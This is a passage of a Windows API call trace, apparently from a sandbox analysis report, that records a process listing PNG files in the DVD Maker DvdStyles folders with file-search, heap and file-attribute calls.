(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927740 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9364c0 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927760 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9365c8 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927780 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9366d0 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9277a0 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9367d8 [0245.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.358] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9277c0 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.358] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0245.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.358] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0245.358] GetLastError () returned 0x12 [0245.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.358] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0245.359] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0245.359] GetLastError () returned 0x12 [0245.359] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.360] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0245.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.360] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93a4a8 [0245.360] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93a4a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93a4a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93a4a8) returned 1 [0245.361] NtClose (Handle=0x170) returned 0x0 [0245.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.363] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.363] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927840 [0245.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9369e8 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927860 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x936af0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927880 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x936bf8 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap 